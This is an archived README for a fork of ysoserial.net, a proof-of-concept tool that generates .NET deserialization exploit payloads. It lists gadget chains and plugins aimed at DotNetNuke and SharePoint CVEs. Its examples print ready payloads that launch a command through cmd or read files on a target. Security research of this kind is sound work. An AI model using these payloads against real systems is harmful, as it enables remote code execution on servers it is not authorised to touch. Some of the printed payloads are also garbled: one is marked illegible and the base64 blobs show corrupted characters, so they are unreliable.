

ysoserial.net (Mono fork)

ysoserial.net (Mono fork) - revoverflow, GitHub.

- Published: date not stated
- Original: <https://github.com/revoverflow/ysoserial>
- Preserved from: <https://github.com/revoverflow/ysoserial> (preserved-copy) on 2026-08-04
- Repository commit: 2019ca09c3de8e2b0d040d99cd42df133620b6c0
- Licence: see the repository

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Repository reading copy: selected documentation at the recorded commit. Source code is never checked out, built or run.

- Repository: <https://github.com/revoverflow/ysoserial>
- Commit: 2019ca09c3de8e2b0d040d99cd42df133620b6c0
- Documents preserved: 2

LICENSE.txt

Blob d70b34095604 , 1075 bytes, at commit 2019ca09c3de .

Copyright (c) 2017-2019 Alvaro Muñoz

MIT License

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE

AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

README.md

Blob 24fbbd010fd5 , 22046 bytes, at commit 2019ca09c3de .

[\[image: logo\]](#)

[\[image: master\]](#) [\[image: v2\]](#) [\[image: download\]](#) [\[image: license\]](#) [\[image: stars\]](#) [\[image: for ks\]](#)

A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.

Description

ysoserial.net is a collection of utilities and property-oriented programming "gadget chains" discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

This project is inspired by [Chris Frohoff's ysoserial project](#)

Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

This software is a personal project and not related with any companies, including Project owner and contributors employers.

Usage

```
$ ./ysoserial -h
```

ysoserial.net generates deserialization payloads **for** a variety of .NET formatters.

Available formatters:

ActivitySurrogateSelectorFromFile (ActivitySurrogateSelector gadget by James Forshaw. **This** gadget interprets the command parameter as path to the .cs file that should be compiled as exploit **class**. **Use** semicolon to separate the file **from** additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll'.)

Formatters:

- BinaryFormatter
- ObjectStateFormatter
- SoapFormatter
- LosFormatter

ActivitySurrogateSelector (ActivitySurrogateSelector gadget by James Forshaw. **This** gadget ignores the command parameter and executes the constructor of ExploitClass **class**.)

Formatters:

- BinaryFormatter
- ObjectStateFormatter
- SoapFormatter
- LosFormatter

ObjectDataProvider (ObjectDataProvider Gadget by Oleksandr Mirosh and Alvaro Munoz)

Formatters:

- Xaml
- Json.Net
- FastJson
- JavaScriptSerializer
- XmlSerializer
- DataContractSerializer
- YamlDotNet < 5.0.0

TextFormattingRunProperties (TextFormattingRunProperties Gadget by Oleksandr Mirosh and Alvaro Munoz.)

Formatters:

- BinaryFormatter
- ObjectStateFormatter
- SoapFormatter
- NetDataContractSerializer
- LosFormatter

PSObject (PSObject Gadget by Oleksandr Mirosh and Alvaro Munoz. Target must run a system not patched **for** CVE-2017-8565 (Published: 07/11/2017))

Formatters:

- BinaryFormatter
- ObjectStateFormatter

```

        SoapFormatter
        NetDataContractSerializer
        LosFormatter
TypeConfuseDelegate (TypeConfuseDelegate gadget by James Forshaw)
    Formatters:
        BinaryFormatter
        ObjectStateFormatter
        NetDataContractSerializer
        LosFormatter
WindowsIdentity (WindowsIdentity Gadget by Levi Broderick)
    Formatters:
        BinaryFormatter
        Json.Net
        DataContractSerializer

```

Available plugins:

```

    altserialization (Generates payload for HttpStaticObjectsCollection or
SessionStateItemCollection)
    ApplicationTrust (Generates XML payload for the ApplicationTrust class)
    Clipboard (Generates payload for DataObject and copy it into the clipboard -
ready to be pasted in affected apps)
    DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)
    Resx (Generates RESX files)
    SessionSecurityTokenHandler (Generates XML payload for the
SessionSecurityTokenHandler class)
    SharePoint (Generates payloads for SharePoint CVEs: CVE-2019-0604, CVE-2018-
8421)
    TransactionManagerReenlist (Generates payload for the TransactionManager.Reenlist
method)
    ViewState (Generates a ViewState using known MachineKey parameters)

```

Usage: ysoserial.exe [options]

Options:

```

-p, --plugin=VALUE      the plugin to be used
-o, --output=VALUE      the output format (raw|base64).
-g, --gadget=VALUE      the gadget chain.
-f, --formatter=VALUE   the formatter.
-c, --command=VALUE     the command to be executed.
-s, --stdin             the command to be executed will be read from standard input.
-t, --test              whether to run payload locally. Default: false
-h, --help              show this message and exit

```

Note: When specifying complex commands, it can be tedious to escape some special character (;, |, &, ..). Use stdin option (-s) to read the command from stdin:

```
cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
```

Note: XmlSerializer and DataContractSerializer formatters generate a wrapper Xml format including the expected type on the "type" attribute of the root node, as used, for example, in DotNetNuke. You may need to modify the generated xml based on how XmlSerializer gets the expected type in your case.

Plugins

Ysoserial.Net can be used to generate raw payloads or more complex ones using a plugin architecture. To use plugins, use `-p <plugin name>` followed by the plugin options (the rest of ysoserial.net options will be ignored). Eg:

```
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
```

For more help on plugin options use `-h` along with `-p <plugin name>`. Eg:

```
$ ./ysoserial.exe -h -p DotNetNuke
ysoserial.net generates deserialization payloads for a variety of .NET formatters.
```

Plugin:

DotNetNuke (Generates payload **for** DotNetNuke CVE-2017-9822)

Options:

<code>-m, --mode=VALUE</code>	the payload mode: read_file, upload_file, run_command.
<code>-c, --command=VALUE</code>	the command to be executed in run_command mode.
<code>-u, --url=VALUE</code>	the url to fetch the file from in write_file mode.
<code>-f, --file=VALUE</code>	the file to read in read_file mode or the file to write to in write_file_mode.

Examples

Generate a calc.exe payload for Json.Net using *ObjectDataProvider* gadget.

```
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
{
  '$type': 'System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
  'MethodName': 'Start',
  'MethodParameters': {
    '$type': 'System.Collections.ArrayList, mscorlib, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089',
    '$values': ['cmd', '/ccalc']
  },
  'ObjectInstance': { '$type': 'System.Diagnostics.Process, System, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089' }
}
```

Generate a calc.exe payload for BinaryFormatter using *PSObject* gadget.

[illegible]

49I19fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIiAvPiYjeEQ7DQogICAgPC9NUz4mI3hE0w0KICA8L09iaj4mI3hE0w0KPC9PYmpzPg=

Generate a run_command payload for DotNetNuke using its plugin

```
$ ./ysoserial.exe -p DotNetNuke -M run_command -C calc.exe
<profile><item key="foo"
type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter
, System.Web, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b03f5f7f11d50a3a],
[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfObjectStateFormatterObjectDataProvider xmlns:xsd="
[http://www.w3.org/2001/XMLSchema] (http://www.w3.org/2001/XMLSchema) " xmlns:xsi="
[http://www.w3.org/2001/XMLSchema-instance] (http://www.w3.org/2001/XMLSchema-instance) ">
<ExpandedElement/><ProjectedProperty0><MethodName>Deserialize</MethodName>
<MethodParameters><anyType
xsi:type="xsd:string">/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2l2bj00LjAuMC4
wLCBDdWx0dXJlPW5ldXRyYWwzIFB1YmtpY0tleVRva2VuPWl3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNv
bGxLY3Rpb25zLkdldmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIGl3Y29ybGliLCBWZXJzaW9uPTQuM
C4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAADb3VudA
hDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWNoaw9ucy5HZW5lcm1jLkNvbXBhcm1zb25
Db21wYXJlcuAxl1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwiVmVyc2l2bj00LjAuMC4wLCBDdWx0dXJlPW5ldXRy
YWwzIFB1YmtpY0tleVRva2VuPWl3N2E1YzU2MTkzNGUwODkFAQAAAGAAAAKDAAAAAGAAAAKAAAAABAMAAACNA
VN5c3RlbS5Db2xsZWNoaw9ucy5HZW5lcm1jLkNvbXBhcm1zb25Db21wYXJlcuAxl1tTeXN0ZW0uU3RyaW5nLCBtc2
NvcmxpYiwiVmVyc2l2bj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwzIFB1YmtpY0tleVRva2VuPWl3N2E1YzU2MTk
zNGUwODkFAQAAALX2NvbXBhcm1zb24DI1N5c3RlbS5EZWxlZ2F0ZVNlcm1hbGl6YXRpb25Ib2xkZXIJBQAAABEE
AAAAAGAAAAAGAAAAACy9jIGNhbGMuZXhlbGcAAAADY21kBAUAAAAAiU3lzdGVtLkRlbGVnYXRlU2VyawFsaXphdGlvb
khvbGRlcgMAAAAIIRGVsZWdhdGUHbWV0aG9kMAAdtZXRob2QxawMDMFN5c3RlbS5EZWxlZ2F0ZVNlcm1hbGl6YXRpb2
5Ib2xkZXIRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvb3N5ZW1lZXJJbmZvU2VyawFsaXphdGlvbkhvbGR
lci9TeXN0ZW0uUmVmbGVjdGlvb3N5ZW1lZXJJbmZvU2VyawFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQI
AAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcm1hbGl6YXRpb25Ib2xkZXIRGVsZWdhdGVFbnRyeQcAAAAAEHlwZQh3c3Nlb
WJseQZ0YXJnZXQScdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcm1ldFR5cGV0Yw1lcm1ldGhvZE5hbWUNZGVsZWdhdGVFbn
RyeQEBAQEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyawFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN
5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIGl3Y29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1
dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIGl3Y29ybGliLCBWZ
XJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1
N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmF
sLCBQdWJsawNLZXlUb2t1bj1lNzdhNW1NjE5MzRlMDg5XV0GDAAAEEttc2NvcmxpYiwiVmVyc2l2bj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwzIFB1YmtpY0tleVRva2VuPWl3N2E1YzU2MTkzNGUwODkKBG0AAABJU3lzdGVtLCBWZ
XJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQY0AA
AAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAAFU3RhcnQJEAAAAAQJAAAAAL1N5c3RlbS5S5ZWZsZWNoaw9
uLk1lbWJlckluZm9tZXJpYXpF0aW9uSG9sZGVyBwAAAAAR0Yw1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2ln
bmF0dXJlClNpZ25hdHVyZTIKTWVtYmV5VHlwZRBHZW5lcm1jQXJndW1lbnRzAQEBAQEAAwG3U3lzdGVtLkR5cGVbX
QkPAAAAACQ0AAAAAJDgAAAAAYUAAAP1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbm
csIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRyYwdu3N0aW5lZlByb2Nlc3MgU3Rhcnc0U3lzdGVtLkN0cm1
uZywgU3lzdGVtLkN0cm1uZyYIAAAACgEAAAAACQAAAAAYAAAAAB0NvbXBhcmUJDAAAAAYAAAAADV5c3RlbS5TdHJp
bmcsGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLk1ud
DMYIENvbXBhcmUoU3lzdGVtLkN0cm1uZywgU3lzdGVtLkN0cm1uZyYIAAAACgEAAAAACAAAAAYbAAAAcVN5c3RlbS
```

```
5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKQwAAAAJGAAAAAkwAAAAAGs=</anyType></MethodParameters><ObjectInstance xsi:type="ObjectStateFormatter"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>
```

Generate a read_file payload for DotNetNuke using its plugin

```
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
```

v2 Branch

v2 branch is a copy of ysoserial.net (15/03/2018) that has been changed to work with .NET Framework 2.0 by [irsdl](#). Although this project can be used with applications that use .NET Framework v2.0, it also requires .NET Framework 3.5 to be installed on the target box as the gadgets depend on it. This problem will be resolved if new gadgets in .NET Framework 2.0 become identified in the future.

Contributing

- Fork it
- Create your feature branch (`git checkout -b my-new-feature`)
- Commit your changes (`git commit -am 'Add some feature'`)
- Push to the branch (`git push origin my-new-feature`)
- Create new Pull Request

Thanks

Special thanks to all contributors:

- [Oleksandr Mirosh](#)

- [irsdl](#)
- [JarLob](#)
- [DS-Kurt-Boberg](#)
- [mwulftange](#)
- [yallie](#)
- [paralax](#)

Additional Reading

- [Attacking .NET serialization](#)
- [Friday the 13th: JSON Attacks - Slides](#)
- [Friday the 13th: JSON Attacks - Whitepaper](#)
- [Friday the 13th: JSON Attacks - Video\(demos\)](#)
- [Are you my Type?](#)
- [Exploiting .NET Managed DCOM](#)
- [Finding and Exploiting .NET Remoting over HTTP using Deserialisation](#)

ysoserial.net references in the wild

Research:

- <https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/december/beware-of-deserialisation-in-.net-methods-and-classes-code-execution-via-paste/>
- <https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/>
- <https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/august/aspnet-resource-files-resx-and-deserialisation-issues/>
- <https://www.nccgroup.trust/uk/our-research/use-of-deserialisation-in-.net-framework-methods-and-classes/?research=Whitepapers>
- <https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282>

Usage:

- <https://cert.360.cn/warning/detail?id=e689288863456481733e01b093c986b6>
- <https://labs.mwrinfosecurity.com/advisories/milestone-xprotect-net-deserialization-vulnerability/>
- <https://soroush.secproject.com/blog/2018/12/story-of-two-published-rces-in-sharepoint-workflows/>

- <https://srcincite.io/blog/2018/08/31/you-cant-contain-me-analyzing-and-exploiting-an-elevation-of-privilege-in-docker-for-windows.html>
- <https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-014/-cyberark-password-vault-web-access-remote-code-execution>
- https://www.synacktiv.com/ressources/advisories/Sitecore_CSRF_deserialize_RCE.pdf
- <https://www.zerodayinitiative.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability>
- <https://www.zerodayinitiative.com/blog/2018/8/14/voicemail-vandalism-getting-remote-code-execution-on-microsoft-exchange-server>
- <https://www.nccgroup.trust/uk/our-research/technical-advisory-multiple-vulnerabilities-in-smartermail/>
- <https://www.nccgroup.trust/uk/our-research/technical-advisory-code-execution-by-viewing-resource-files-in-net-reflector/>

Talks:

- <https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf>
- <https://speakerdeck.com/pwntester/attacking-net-serialization>
- <https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints>
- https://gosecure.github.io/presentations/2018-03-18-confoo_mtl/Security_boot_camp_for_.NET_developers_Confoo_v2.pdf
- https://illuminopi.com/assets/files/BSideslowa_RCEvil.net_20190420.pdf
- <https://nullcon.net/website/archives/pdf/goa-2018/rohit-slides.pdf>

Tools:

- <https://github.com/pwntester/ViewStatePayloadGenerator>
- <https://github.com/0xACB/viewgen>
- <https://github.com/Illuminopi/RCEvil.NET>

CTF write-ups:

- <https://cyku.tw/ctf-hitcon-2018-why-so-serials/>
- <https://xz.aliyun.com/t/3019>